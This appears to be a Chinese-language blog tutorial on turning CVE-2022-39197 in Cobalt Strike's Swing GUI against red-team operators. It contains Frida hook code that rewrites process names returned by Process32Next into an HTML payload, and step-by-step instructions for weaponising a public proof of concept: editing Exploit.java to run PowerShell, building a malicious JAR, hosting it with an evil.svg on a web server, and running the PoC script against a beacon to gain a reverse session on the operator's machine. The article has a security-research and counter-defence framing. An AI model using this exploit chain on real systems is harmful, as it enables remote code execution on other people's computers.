Cobalt Strike反制实战：利用CVE-2022-39197 GUI渲染漏洞实现反向控制

声明：本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本号及原作者无关。

前言

Cobalt Strike (CS) 使用 Java 的 GUI 框架 SWING 开发。这就埋下了一个隐患：攻击者可以通过 CS 木马（beacon）在传回的元数据中注入恶意的 HTML 标签。当 Cobalt Strike 的客户端解析并渲染这些数据时，就会加载并执行恶意代码，原理上类似于一次针对客户端的 XSS 攻击。

实现原理

实现反制的关键，在于如何向 beacon 回传的元数据中“悄悄地”植入恶意 payload。如果能够钩子（Hook）到 Cobalt Strike 在查询系统信息时调用的 Windows API，我们就能篡改其返回结果。

Frida 正是这样一个强大的动态代码插桩工具，它可以用来拦截和修改各种函数，包括 Windows API。以下是部分可以通过 Frida 进行钩子的 Windows API 函数示例：

• Kernel32.dll:
  • CreateFileW
  • ReadFile
  • WriteFile
  • FindFirstFileW
  • CreateProcessW
  • GetProcAddress
  • LoadLibraryW
  • VirtualAlloc
  • VirtualProtect
• Advapi32.dll:
  • RegOpenKeyExW
  • RegQueryValueExW
  • RegSetValueExW
  • GetUserNameA
• User32.dll:
  • MessageBoxW
  • SetWindowTextW
  • GetWindowTextW
• Gdi32.dll:
  • TextOutW
  • CreateFontIndirectW
• Shell32.dll:
  • ShellExecuteW
• Ws2_32.dll:
  • send
  • recv

在 Frida 中，使用 Interceptor.attach 方法可以附加到目标函数并插入自定义的处理逻辑。这意味着，当这些函数被调用时，我们能够执行自己的代码，从而有机会向返回的数据中注入精心构造的 payload。

以 Kernel32.dll 中的 Process32Next 函数为例，它通常用于遍历进程列表。

我们来拆解一下这段Frida脚本的核心逻辑：

1. 处理函数进入 (onEnter)

onEnter: function(args) {
    this.pPROCESSENTRY32 = args[1];
    if(Process.arch == "ia32"){
        this.exeOffset = 36;
    }else{
        this.exeOffset = 44;
    }
    this.szExeFile = this.pPROCESSENTRY32.add(this.exeOffset);
},

在函数刚被调用时，保存 Process32Next 函数的参数，并根据进程架构（32位或64位）计算 szExeFile 字段在进程信息结构体 PROCESSENTRY32 中的偏移地址。szExeFile 是一个指向进程可执行文件名字符串的指针。

2. 处理函数离开 (onLeave)

onLeave: function(retval) {
    if(this.szExeFile.readAnsiString() == "target") {
        send("[!] Found beacon, injecting payload");
        this.szExeFile.writeAnsiString(payload);
    }
}

在函数即将返回时，检查 szExeFile 指向的进程名是否为 "target"。如果匹配，则将预定义的 payload 字符串写入该内存位置，从而篡改了进程列表中的进程名。

简单来说，整个反制思路就是：通过 Frida 注入并钩住 Windows API，修改其返回的系统信息（如进程名、文件名），将原本的信息替换成包含恶意 HTML/Java 代码的 payload。 当红队人员在 Cobalt Strike 客户端界面上查看这些信息（如点击 ps 列出进程）时，客户端解析并渲染这些被篡改的数据，就会触发 payload 执行，实现反向控制。

反制复现

环境准备：

	红队 (攻击方)	蓝队 (防御/反制方)
IP	192.168.108.200	192.168.108.133
软件版本	Cobalt Strike 4.0	Cobalt Strike 4.9

注：受此反制影响的 Cobalt Strike 版本为 < 4.7.1。在 4.7.1 及以上版本中，官方默认禁用了 GUI 的 HTML 渲染功能，因此不受此漏洞影响。

我们将使用开源 POC 项目进行复现：https://github.com/its-arun/CVE-2022-39197

1. 编辑恶意负载文件

修改 Exploit.java 中的命令执行部分。为了直观演示，此处改为执行 PowerShell 命令上线到蓝队的 Cobalt Strike。

2. 编译生成恶意JAR文件

使用 Maven 进行编译。编译成功后，会在 target 目录下生成 EvilJar-1.0-jar-with-dependencies.jar 文件。

3. 部署文件

将生成的恶意 JAR 文件和一个用于触发漏洞的 evil.svg 文件放置在同一目录下（例如 serve 目录）。

同时，将红队的木马样本（例如 artifact.exe）放在与 cve-2022-39197.py 脚本相同的路径下。

4. 启动Web服务

蓝队在 serve 目录下启动一个 HTTP 服务器，用于托管恶意 JAR 和 SVG 文件。

python3 -m http.server 9999

5. 配置SVG触发器

编辑 evil.svg 文件，将其中的链接替换为上一步启动的 Web 服务地址，指向恶意 JAR 文件。

6. 执行POC脚本

运行 POC 脚本，目标是红队的木马 artifact.exe，并指定恶意 SVG 文件的 URL。

python3 cve-2022-39197.py artifact.exe http://192.168.108.248:9999/evil.svg

脚本运行后，红队的 Cobalt Strike 客户端会收到木马上线的信标（beacon）。

7. 触发反制

当红队操作员在 Cobalt Strike 中查看该信标的进程列表（例如执行 ps 命令）时，一旦 GUI 界面滚动或点击到被我们篡改的进程名，客户端就会去请求 evil.svg 文件。该 SVG 文件又会进一步加载请求恶意的 JAR 文件。

最终，蓝队的 Cobalt Strike 会收到一个来自红队操作员机器的新信标，成功实现反制上线。

扩展思考

除了钩取 Process32Next 函数篡改进程名，还有许多其他的 API 可以利用。例如 Kernel32.dll 中的 FindFirstFileW / FindNextFileW 函数（用于遍历目录文件）。

思路是类似的：注入并修改文件遍历函数返回的文件名，将其替换为恶意 payload。当红队操作员在 beacon 中执行列出文件目录的操作时，浏览到被篡改的文件名即可触发反制。以下是利用文件列表进行反制上线的效果图（复现步骤与上文类似）。

这展示了在 渗透测试 攻防对抗中，攻击工具本身也可能成为攻击入口的经典案例。

最后

CVE-2022-39197 虽然是去年披露的漏洞，但鉴于旧版本软件的存量，其在实战中仍然具有相当的威胁。这个案例也充分说明了 Cobalt Strike 这类高级攻击平台在攻防两面所扮演的角色。对于防御方而言，理解其运作机制和潜在弱点，才能更好地进行检测和防御；而对于攻击方，时刻保持工具的更新与安全配置，是避免“被反杀”的基本要求。在云栈社区，我们持续关注这类前沿的攻防技术动态，欢迎大家一起探讨。